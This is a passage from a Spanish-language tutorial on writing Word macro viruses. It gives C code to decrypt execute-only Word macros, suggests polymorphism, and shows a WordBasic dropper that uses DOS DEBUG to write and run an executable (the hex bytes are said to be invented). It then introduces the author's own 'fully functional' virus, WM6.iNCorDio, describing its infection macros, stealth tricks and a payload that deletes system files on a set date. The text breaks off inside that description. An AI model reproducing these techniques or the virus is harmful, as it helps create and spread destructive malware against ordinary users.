Goto (que es lo que realmente es).</p> <p>Para desactivar la deteccion de errores solo hay que utilizar la siguiente instrucción:</p> <p>On Error Goto 0</p> <p>Todos los errores de Word tienen un numero de identificacion. Si queremos conseguir ese numero, lo haremos con la variable especial Err, cuyo valor es el ultimo error producido.</p> </div> <div class="section" id="tecnicas-avanzadas"> <h2>Técnicas avanzadas</h2> <p>Ahora comentare algunas técnicas avanzadas, solo como guía, y para “activar” tu imaginación</p> <p>Macros solo-ejecutables</p> <p>Lo típico que se hace para encriptar una macro es hacerla solo-ejecutable.</p> <p>Esto no es más que un simple XOR, por lo que podemos desencriptarlas y ver su código. Si leemos el fichero, debemos buscar el verdadero nombre del fichero en el. Unos cuantos bytes despues de el encontraremos una “U”. Pues bien, el byte siguiente a esa “U” es la clave XOR que debemos usar para desencriptarlo</p> <p>Por supuesto, habra tantas “U” como macros tenga el documento., y una clave XOR para cada una. Depues no hay más que encontrar el comienzo de las macros, que normalmente está en la direccion B89h o en 1509h. Simpre hay la secuencia A5h, C6h , 41h, un byte y el valor XOR. Los problemas pueden comenzar si el documento tiene macros normales y macros solo-ejecutables.</p> <p>Prueba a borrar algunas macros, y despues desencriptar.</p> <p>Adjunto un programa en C que podría ser util.</p> <div class="highlight"><pre> <span class="cm">/*********</span> <span class="cm">(c) AURODREPH Productions 04/1996</span> <span class="cm"> **********/</span> <span class="cp">#include "io.h"</span> <span class="cp">#include "stdlib.h"</span> <span class="cp">#include "stdio.h"</span> <span class="cp">#include "conio.h"</span> <span class="cp">#include "process.h"</span> <span class="cp">#include "fcntl.h"</span> <span class="cp">#include "string.h"</span> <span class="cp">#include "sys\stat.h"</span> <span class="kt">void</span> <span class="nf">main</span> <span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span> <span class="kt">char</span> <span class="n">Name</span><span class="p">[</span><span class="mi">13</span><span class="p">];</span> <span class="kt">char</span> <span class="n">Target</span><span class="p">[</span><span class="mi">13</span><span class="p">];</span> <span class="kt">unsigned</span> <span class="kt">char</span> <span class="o">*</span><span class="n">Buffer</span><span class="p">;</span> <span class="kt">int</span> <span class="n">Handler</span><span class="p">,</span> <span class="n">Handler1</span><span class="p">;</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">Offset</span><span class="p">;</span> <span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">Length</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="kt">int</span> <span class="n">point</span><span class="p">,</span> <span class="n">max</span><span class="p">,</span> <span class="n">trouve</span><span class="p">,</span> <span class="n">cledec</span><span class="p">,</span> <span class="n">debmac</span><span class="p">,</span> <span class="n">decfin</span><span class="p">;</span> <span class="kt">int</span> <span class="n">stop</span><span class="p">,</span><span class="n">nbr</span><span class="p">,</span><span class="n">positcle</span><span class="p">,</span><span class="n">nbrmac</span><span class="p">,</span><span class="n">i</span><span class="p">;</span> <span class="n">clrscr</span><span class="p">();</span> <span class="n">printf</span> <span class="p">(</span><span class="s">" ******************************************************************</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> <span class="n">printf</span> <span class="p">(</span><span class="s">" * *</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> <span class="n">printf</span> <span class="p">(</span><span class="s">" * DECRYPT WORD 6.0 MACROS saved *</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> <span class="n">printf</span> <span class="p">(</span><span class="s">" * with the option Execute-only *</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> <span class="n">printf</span> <span class="p">(</span><span class="s">" * *</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> <span class="n">printf</span> <span class="p">(</span><span class="s">" * *</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> <span class="n">printf</span> <span class="p">(</span><span class="s">" * --- ,This file works only with files &amp;lt; 32 Ko. ---- *</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> <span class="n">printf</span> <span class="p">(</span><span class="s">" * &lt;*****}===============- *</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> <span class="n">printf</span> <span class="p">(</span><span class="s">" * (z) ' AURODREPH Productions 04/1996 *</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> <span class="n">printf</span> <span class="p">(</span><span class="s">" * ver 0.666B *</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> <span class="n">printf</span> <span class="p">(</span><span class="s">" ******************************************************************</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> <span class="n">printf</span> <span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> <span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> <span class="n">printf</span> <span class="p">(</span><span class="s">"Name of the input file = "</span><span class="p">);</span> <span class="n">scanf</span> <span class="p">(</span><span class="s">"%12s"</span><span class="p">,</span><span class="n">Name</span><span class="p">);</span> <span class="n">printf</span> <span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> <span class="n">printf</span> <span class="p">(</span><span class="s">"Name of the output file = "</span><span class="p">);</span> <span class="n">scanf</span> <span class="p">(</span><span class="s">"%12s"</span><span class="p">,</span><span class="n">Target</span><span class="p">);</span> <span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> <span class="n">printf</span> <span class="p">(</span><span class="s">"Number of crypted macros = "</span><span class="p">);</span> <span class="n">scanf</span> <span class="p">(</span><span class="s">"%d"</span><span class="p">,</span><span class="o">&amp;</span><span class="n">nbrmac</span><span class="p">);</span> <span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span><span class="n">nbrmac</span> <span class="o">&gt;</span> <span class="mi">50</span> <span class="p">)</span> <span class="p">{</span> <span class="n">exit</span> <span class="p">(</span><span class="mi">0</span><span class="p">);</span> <span class="p">}</span> <span class="n">Handler</span> <span class="o">=</span> <span class="n">open</span> <span class="p">(</span><span class="n">Name</span><span class="p">,</span> <span class="n">O_BINARY</span> <span class="o">|</span> <span class="n">O_RDONLY</span> <span class="p">,</span> <span class="n">S_IREAD</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span><span class="n">Handler</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span> <span class="n">printf</span> <span class="p">(</span><span class="s">"The input file doesn't exist.</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> <span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span> <span class="p">}</span> <span class="n">Length</span> <span class="o">=</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">long</span><span class="p">)</span> <span class="n">lseek</span><span class="p">(</span><span class="n">Handler</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">SEEK_END</span><span class="p">);</span> <span class="n">lseek</span> <span class="p">(</span><span class="n">Handler</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="n">SEEK_SET</span><span class="p">);</span> <span class="n">Buffer</span> <span class="o">=</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">char</span> <span class="o">*</span><span class="p">)</span> <span class="n">malloc</span><span class="p">((</span><span class="kt">unsigned</span><span class="p">)</span> <span class="n">Length</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span><span class="n">Buffer</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span> <span class="n">printf</span> <span class="p">(</span><span class="s">"Fail memory allocation.</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span><span class="n">read</span><span class="p">(</span><span class="n">Handler</span><span class="p">,</span> <span class="n">Buffer</span><span class="p">,</span> <span class="p">(</span><span class="kt">unsigned</span><span class="p">)</span> <span class="n">Length</span><span class="p">)</span> <span class="o">!=</span> <span class="n">Length</span><span class="p">)</span> <span class="p">{</span> <span class="n">printf</span> <span class="p">(</span><span class="s">"The size of the file is &gt; 32 ko)</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> <span class="n">printf</span> <span class="p">(</span><span class="s">"Try to remove some macros with WORD....</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> <span class="n">exit</span> <span class="p">(</span><span class="mi">0</span><span class="p">);</span> <span class="p">}</span> <span class="n">point</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">max</span> <span class="o">=</span> <span class="n">strlen</span><span class="p">(</span><span class="n">Name</span><span class="p">);</span> <span class="n">trouve</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="n">cledec</span> <span class="o">=</span> <span class="mh">0x00</span><span class="p">;</span> <span class="n">debmac</span> <span class="o">=</span> <span class="mh">0x00</span><span class="p">;</span> <span class="n">stop</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="k">for</span> <span class="p">(</span><span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span> <span class="n">i</span><span class="o">=</span> <span class="mh">0x61</span><span class="p">)</span> <span class="o">&amp;</span> <span class="p">(</span><span class="n">Name</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">&lt;=</span> <span class="mh">0x7A</span><span class="p">))</span> <span class="p">{</span> <span class="n">Name</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">Name</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">&amp;</span> <span class="mh">0xDF</span><span class="p">;}</span> <span class="p">};</span> <span class="k">for</span> <span class="p">(</span><span class="n">Offset</span> <span class="o">=</span> <span class="mh">0x0000</span><span class="p">;</span> <span class="n">Offset</span> <span class="o">&lt;</span> <span class="n">Length</span><span class="p">;</span> <span class="n">Offset</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> <span class="k">if</span> <span class="p">((</span><span class="n">Buffer</span><span class="p">[</span><span class="n">Offset</span><span class="p">]</span> <span class="o">==</span> <span class="n">Name</span><span class="p">[</span><span class="n">point</span><span class="p">])</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="n">stop</span> <span class="o">!=</span><span class="mi">1</span><span class="p">))</span> <span class="p">{</span> <span class="k">for</span> <span class="p">(</span><span class="n">point</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="n">point</span> <span class="o">&lt;=</span> <span class="p">(</span><span class="n">max</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span> <span class="n">point</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="n">Buffer</span> <span class="p">[</span><span class="n">Offset</span><span class="o">+</span><span class="n">point</span><span class="p">]</span> <span class="o">==</span> <span class="n">Name</span><span class="p">[</span><span class="n">point</span><span class="p">])</span> <span class="p">{</span> <span class="n">trouve</span> <span class="o">=</span> <span class="n">trouve</span><span class="o">+</span><span class="mi">1</span><span class="p">;</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="n">trouve</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="p">}</span> <span class="p">};</span> <span class="p">}</span> <span class="k">if</span> <span class="p">(</span><span class="n">trouve</span> <span class="o">==</span> <span class="n">max</span><span class="p">)</span> <span class="p">{</span> <span class="n">stop</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="p">}</span> <span class="k">if</span> <span class="p">((</span><span class="n">trouve</span> <span class="o">==</span> <span class="n">max</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="n">Buffer</span><span class="p">[</span><span class="n">Offset</span><span class="p">]</span> <span class="o">==</span> <span class="mh">0x55</span><span class="p">))</span> <span class="p">{</span> <span class="n">cledec</span> <span class="o">=</span> <span class="n">Buffer</span><span class="p">[</span><span class="n">Offset</span><span class="o">+</span><span class="mi">1</span><span class="p">];</span> <span class="n">trouve</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">Buffer</span> <span class="p">[</span><span class="n">Offset</span><span class="o">+</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0x00</span><span class="p">;</span> <span class="n">positcle</span> <span class="o">=</span> <span class="n">Offset</span><span class="p">;</span> <span class="p">}</span> <span class="n">point</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="p">};</span> <span class="k">if</span> <span class="p">(</span><span class="n">cledec</span> <span class="o">==</span> <span class="mh">0x00</span><span class="p">)</span> <span class="p">{</span> <span class="n">printf</span> <span class="p">(</span><span class="s">" Don't find the decrypted key... </span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> <span class="n">exit</span> <span class="p">(</span><span class="mi">0</span><span class="p">);}</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="n">printf</span> <span class="p">(</span><span class="s">"Decrypted Key for the macro n 1 = %x </span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">cledec</span><span class="p">);</span> <span class="p">}</span> <span class="k">for</span> <span class="p">(</span><span class="n">Offset</span> <span class="o">=</span> <span class="mh">0x0000</span><span class="p">;</span> <span class="n">Offset</span> <span class="o">&lt;</span> <span class="n">Length</span><span class="p">;</span> <span class="n">Offset</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="n">Buffer</span><span class="p">[</span><span class="n">Offset</span><span class="p">]</span> <span class="o">==</span> <span class="mh">0xA5</span><span class="p">)</span> <span class="p">{</span> <span class="k">if</span> <span class="p">((</span><span class="n">Buffer</span> <span class="p">[</span><span class="n">Offset</span><span class="o">+</span><span class="mi">1</span><span class="p">]</span> <span class="o">==</span> <span class="mh">0xC6</span><span class="p">)</span> <span class="o">||</span> <span class="p">(</span><span class="n">Buffer</span> <span class="p">[</span><span class="n">Offset</span><span class="o">+</span><span class="mi">1</span><span class="p">]</span> <span class="o">==</span> <span class="mh">0xC4</span><span class="p">))</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="n">Buffer</span> <span class="p">[</span><span class="n">Offset</span><span class="o">+</span><span class="mi">2</span><span class="p">]</span> <span class="o">==</span> <span class="mh">0x41</span><span class="p">)</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="n">Buffer</span> <span class="p">[</span><span class="n">Offset</span><span class="o">+</span><span class="mi">4</span><span class="p">]</span> <span class="o">==</span> <span class="n">cledec</span><span class="p">)</span> <span class="p">{</span> <span class="n">debmac</span> <span class="o">=</span> <span class="n">Offset</span><span class="o">+</span><span class="mi">3</span><span class="p">;</span> <span class="p">}</span> <span class="p">}</span> <span class="p">}</span> <span class="p">}</span> <span class="p">};</span> <span class="k">if</span> <span class="p">(</span><span class="n">debmac</span> <span class="o">==</span> <span class="mh">0x00</span><span class="p">)</span> <span class="p">{</span> <span class="k">for</span> <span class="p">(</span><span class="n">Offset</span> <span class="o">=</span> <span class="mh">0x0000</span><span class="p">;</span> <span class="n">Offset</span> <span class="o">&lt;</span> <span class="n">Length</span><span class="p">;</span> <span class="n">Offset</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="n">Buffer</span><span class="p">[</span><span class="n">Offset</span><span class="p">]</span> <span class="o">==</span> <span class="n">cledec</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="n">Buffer</span> <span class="p">[</span><span class="n">Offset</span><span class="o">+</span><span class="mi">1</span><span class="p">]</span> <span class="o">==</span> <span class="n">cledec</span><span class="p">)</span> <span class="p">{</span> <span class="n">debmac</span> <span class="o">=</span> <span class="n">Offset</span><span class="p">;</span> <span class="p">}</span> <span class="p">}</span> <span class="p">};</span> <span class="p">}</span> <span class="k">if</span> <span class="p">(</span><span class="n">debmac</span> <span class="o">==</span> <span class="mh">0x00</span><span class="p">)</span> <span class="p">{</span> <span class="n">printf</span> <span class="p">(</span><span class="s">" Don't find the beginning of the macro</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> <span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span> <span class="p">}</span> <span class="k">for</span> <span class="p">(</span><span class="n">nbr</span> <span class="o">=</span> <span class="mi">1</span> <span class="p">;</span> <span class="n">nbr</span> <span class="o">&lt;=</span> <span class="n">nbrmac</span> <span class="p">;</span><span class="n">nbr</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="n">nbr</span> <span class="o">!=</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span> <span class="n">printf</span> <span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> <span class="n">printf</span> <span class="p">(</span><span class="s">" I decrypt the macro n %d </span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">nbr</span><span class="p">);</span> <span class="n">Offset</span> <span class="o">=</span> <span class="n">positcle</span><span class="o">+</span><span class="mi">24</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span><span class="n">Buffer</span><span class="p">[</span><span class="n">Offset</span><span class="p">]</span> <span class="o">==</span> <span class="mh">0x55</span><span class="p">)</span> <span class="p">{</span> <span class="n">cledec</span> <span class="o">=</span> <span class="n">Buffer</span> <span class="p">[</span><span class="n">Offset</span><span class="o">+</span><span class="mi">1</span><span class="p">];</span> <span class="n">Buffer</span> <span class="p">[</span><span class="n">Offset</span><span class="o">+</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0x00</span><span class="p">;</span> <span class="n">positcle</span> <span class="o">=</span> <span class="n">Offset</span><span class="p">;</span> <span class="n">printf</span> <span class="p">(</span><span class="s">"Decrypted Key for the macro n %d = %x </span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">nbr</span><span class="p">,</span><span class="n">cledec</span><span class="p">);</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="n">printf</span> <span class="p">(</span><span class="s">" Don't find the decrypted key ....</span><span class="se">\n</span><span class="s">"</span><span class="p">);}</span> <span class="p">}</span> <span class="p">}</span> <span class="n">Offset</span> <span class="o">=</span> <span class="n">debmac</span><span class="p">;</span> <span class="n">point</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">decfin</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="n">stop</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="n">printf</span> <span class="p">(</span> <span class="s">" I work "</span><span class="p">);</span> <span class="k">do</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="n">stop</span> <span class="o">==</span> <span class="mi">400</span><span class="p">)</span> <span class="p">{</span> <span class="n">printf</span> <span class="p">(</span><span class="s">"."</span><span class="p">);</span> <span class="n">stop</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="p">}</span> <span class="n">Buffer</span><span class="p">[</span><span class="n">Offset</span><span class="o">+</span><span class="n">point</span><span class="p">]</span> <span class="o">^=</span> <span class="n">cledec</span> <span class="p">;</span> <span class="cm">/* decryptage par XOR */</span> <span class="k">if</span> <span class="p">(</span><span class="n">Buffer</span> <span class="p">[</span><span class="n">Offset</span><span class="o">+</span><span class="n">point</span><span class="p">]</span> <span class="o">==</span> <span class="mh">0x64</span><span class="p">)</span> <span class="p">{</span> <span class="n">Buffer</span> <span class="p">[</span><span class="n">Offset</span><span class="o">+</span><span class="n">point</span><span class="o">+</span><span class="mi">1</span><span class="p">]</span> <span class="o">^=</span> <span class="n">cledec</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span><span class="n">Buffer</span> <span class="p">[</span><span class="n">Offset</span><span class="o">+</span><span class="n">point</span><span class="o">+</span><span class="mi">1</span><span class="p">]</span> <span class="o">==</span> <span class="mh">0x1a</span><span class="p">)</span> <span class="p">{</span> <span class="n">Buffer</span> <span class="p">[</span><span class="n">Offset</span><span class="o">+</span><span class="n">point</span><span class="o">+</span><span class="mi">2</span><span class="p">]</span> <span class="o">^=</span> <span class="n">cledec</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span><span class="n">Buffer</span> <span class="p">[</span><span class="n">Offset</span><span class="o">+</span><span class="n">point</span><span class="o">+</span><span class="mi">2</span><span class="p">]</span> <span class="o">==</span> <span class="mh">0x1b</span><span class="p">)</span> <span class="p">{</span> <span class="n">Buffer</span> <span class="p">[</span><span class="n">Offset</span><span class="o">+</span><span class="n">point</span><span class="o">+</span><span class="mi">3</span><span class="p">]</span> <span class="o">^=</span> <span class="n">cledec</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span><span class="n">Buffer</span> <span class="p">[</span><span class="n">Offset</span><span class="o">+</span><span class="n">point</span><span class="o">+</span><span class="mi">3</span><span class="p">]</span> <span class="o">!=</span> <span class="mh">0x64</span><span class="p">)</span> <span class="p">{</span> <span class="n">decfin</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">debmac</span> <span class="o">=</span> <span class="n">Offset</span><span class="o">+</span><span class="n">point</span><span class="o">+</span><span class="mi">3</span><span class="p">;</span> <span class="n">Buffer</span> <span class="p">[</span><span class="n">Offset</span><span class="o">+</span><span class="n">point</span><span class="o">+</span><span class="mi">3</span><span class="p">]</span> <span class="o">^=</span> <span class="n">cledec</span><span class="p">;</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="n">Buffer</span> <span class="p">[</span><span class="n">Offset</span><span class="o">+</span><span class="n">point</span><span class="o">+</span><span class="mi">3</span><span class="p">]</span> <span class="o">^=</span> <span class="n">cledec</span><span class="p">;</span> <span class="p">}</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="n">Buffer</span> <span class="p">[</span><span class="n">Offset</span><span class="o">+</span><span class="n">point</span><span class="o">+</span><span class="mi">2</span><span class="p">]</span> <span class="o">^=</span> <span class="n">cledec</span><span class="p">;</span> <span class="p">}</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="n">Buffer</span> <span class="p">[</span><span class="n">Offset</span><span class="o">+</span><span class="n">point</span><span class="o">+</span><span class="mi">1</span><span class="p">]</span> <span class="o">^=</span> <span class="n">cledec</span><span class="p">;</span> <span class="p">}</span> <span class="k">if</span> <span class="p">((</span><span class="n">Offset</span><span class="o">+</span><span class="n">point</span><span class="p">)</span> <span class="o">==</span> <span class="n">Length</span><span class="p">)</span> <span class="p">{</span> <span class="n">decfin</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="p">}</span> <span class="n">stop</span> <span class="o">=</span> <span class="n">stop</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span> <span class="n">point</span> <span class="o">=</span> <span class="n">point</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span> <span class="p">}</span> <span class="k">while</span> <span class="p">(</span> <span class="p">(</span> <span class="n">decfin</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">);</span> <span class="n">printf</span> <span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> <span class="n">printf</span> <span class="p">(</span><span class="s">" End of decrypting the macro n %d </span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">nbr</span><span class="p">);</span> <span class="p">};</span> <span class="n">_fmode</span><span class="o">=</span> <span class="n">O_BINARY</span><span class="p">;</span> <span class="n">Handler1</span> <span class="o">=</span> <span class="n">creat</span><span class="p">(</span><span class="n">Target</span><span class="p">,</span> <span class="n">S_IFMT</span> <span class="o">|</span> <span class="n">S_IREAD</span> <span class="o">|</span> <span class="n">S_IWRITE</span><span class="p">);</span> <span class="n">write</span> <span class="p">(</span><span class="n">Handler1</span><span class="p">,</span> <span class="n">Buffer</span><span class="p">,(</span><span class="kt">unsigned</span><span class="p">)</span> <span class="n">Length</span><span class="p">);</span> <span class="n">close</span> <span class="p">(</span><span class="n">Handler1</span><span class="p">);</span> <span class="n">close</span> <span class="p">(</span><span class="n">Handler</span><span class="p">);</span> <span class="n">printf</span> <span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> <span class="n">printf</span> <span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> <span class="n">printf</span> <span class="p">(</span><span class="s">" END ... </span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> <span class="n">printf</span> <span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> <span class="n">printf</span> <span class="p">(</span><span class="s">" The decrypted file is %s .</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">Target</span><span class="p">);</span> <span class="p">}</span> </pre></div> </div> <div class="section" id="polimorfismo"> <h2>Polimorfismo</h2> <p>Es posible hacer virus polimórficos en WordBasic. Una manera sencilla sería hacer que las macros tomaran nombres al azar en cada generación.</p> </div> <div class="section" id="uso-de-debug"> <h2>Uso de DEBUG</h2> <p>Ultimamente es muy corriente encontrarse especimenes que utilizan el debug del DOS para volcar pequeños ejecutables, plantillas, … en el disco duro para luego ser ejecutadas. Os muestro aqui una pequeña rutina para ilustrarlo:</p> <div class="highlight"><pre><span class="nx">Open</span> <span class="s2">"C:\programita.scr"</span> <span class="nx">For</span> <span class="nx">Output</span> <span class="nx">As</span> <span class="err">#</span><span class="mi">1</span> <span class="nx">Print</span> <span class="err">#</span><span class="mi">1</span><span class="p">,</span> <span class="s2">"N BOOM.COM"</span> <span class="nx">Print</span> <span class="err">#</span><span class="mi">1</span><span class="p">,</span> <span class="s2">"E 0100 E9 AF 13 9F 4D D1 0F D9 0A D7 0A B2 25 EB 67 C2"</span> <span class="nx">Print</span> <span class="err">#</span><span class="mi">1</span><span class="p">,</span> <span class="s2">"E 0110 26 F6 20 F7 33 E6 67 BA 24 BB 67 A3 7E EB 7E 9F"</span> <span class="nx">Print</span> <span class="err">#</span><span class="mi">1</span><span class="p">,</span> <span class="s2">"E 0120 4D 98 15 FD 32 E6 2E FC 22 B2 30 FB 2B FE 67 E0"</span> <span class="nx">Print</span> <span class="err">#</span><span class="mi">1</span><span class="p">,</span> <span class="s2">"E 0130 22 E6 32 E0 29 B2 34 EB 34 E6 22 12 67 FB 29 F4"</span> <span class="nx">Print</span> <span class="err">#</span><span class="mi">1</span><span class="p">,</span> <span class="s2">"E 0140 28 E0 2A F3 33 FB 34 FC 67 F4 28 E0 67 E1 33 F3"</span> <span class="nx">Print</span> <span class="err">#</span><span class="mi">1</span><span class="p">,</span> <span class="s2">"E 0150 29 F6 26 B0 23 9F 4D B2 67 B2 67 B2 67 B2 67 DB"</span> <span class="nx">Print</span> <span class="err">#</span><span class="mi">1</span><span class="p">,</span> <span class="s2">"E 0160 05 DF 67 C2 04 E1 67 F3 29 F6 67 F1 2B FD 29 F7"</span> <span class="nx">Print</span> <span class="err">#</span><span class="mi">1</span><span class="p">,</span> <span class="s2">"E 0170 34 B2 35 E7 29 FC 2E DC 20 B2 0A C1 68 C2 04 B2"</span> <span class="c1">// ...</span> <span class="nx">print</span> <span class="err">#</span><span class="mi">1</span><span class="p">,</span> <span class="s2">"RCX"</span> <span class="nx">print</span> <span class="err">#</span><span class="mi">1</span><span class="p">,</span> <span class="s2">"400"</span> <span class="nx">Print</span> <span class="err">#</span><span class="mi">1</span><span class="p">,</span> <span class="s2">"W"</span> <span class="nx">Print</span> <span class="err">#</span><span class="mi">1</span><span class="p">,</span> <span class="s2">"Q"</span> <span class="nx">Close</span> <span class="err">#</span><span class="mi">1</span> <span class="nx">Open</span> <span class="s2">"c:\boom.bat"</span> <span class="nx">For</span> <span class="nx">Output</span> <span class="nx">As</span> <span class="err">#</span><span class="mi">1</span> <span class="nx">Print</span> <span class="err">#</span><span class="mi">1</span><span class="p">,</span> <span class="s2">"@echo off"</span> <span class="nx">Print</span> <span class="err">#</span><span class="mi">1</span><span class="p">,</span> <span class="s2">"debug &lt; programita.src &gt; nul"</span> <span class="nx">Print</span> <span class="err">#</span><span class="mi">1</span><span class="p">,</span> <span class="s2">"boom.com"</span> <span class="nx">Close</span> <span class="err">#</span><span class="mi">1</span> </pre></div> <p>Nota: Los valores Hexadecimales del ejemplo son inventados, asi que no intentes nada con ellos.</p> </div> <div class="section" id="miscelanea"> <h2>Miscelánea</h2> <p>Para terminar este pequeño curso, aquí podeis ver el WM6.iNCorDio V 1.0 , un virus sencillo y totalmente funcional creado por un servidor.</p> <p>Por favor, no lo distribuyas. Simplemente lo incluyo como apoyo al documento para comprender mejor el concepto de virus de Macro.</p> <!-- code-block: javascript // WM6.iNCoRDio V1.0 // April 25 1999 // # Size: 5,35 Kbytes // // # Stealth: Semi. It emulates Macros Dialog and deactivates Templates Menu. // # Encrypted: Yes. Only-executable Macros. // # Polymorphic: No // # Infects: Spanish versions of Word 7.0. // # ReMovable: Yes. U must remove normal.dot. // # MultiLanguaje: No. It only infects Spanish versions of Word. // # Payload: On 15 August kills io.sys and Msdos.sys, and changes win.ini [colors] definitions to // "00 00 00" getting dark Windows. // // Simple, quick and effective, but too many easy. // // This virus consists in six Macros: // // # AutoOpen: Infects the global template, copying itself and the rest of Macros. // # iNFeCT: Is copied as ArchivoGuardarComo. This Macro infects other docs when FileSaveAs. // # iNFeCT2: Is copied as ArchivoAbrir. When a doc is opened then infects it. // # iNCoRDio: It contains infect subrutine. It can distinguish if is an .doc, .dot or .rtf // file. In other case does't infect. // # ChapaAuto: Is copied as AutoExec. When starts Word, automacros are deactivated // so Word can't be infected by other WM virus using automacros. // # ChapaMacros: Is copied as HerramMacro. EMulates the Macros ... dialog box, but it doesn't // shows any Macro nor record or reMoves anything // # ChapaPlan: Is copied as ArchivoPlantillas. Is an eMpty Macro, and deactivates thus // the teMplates 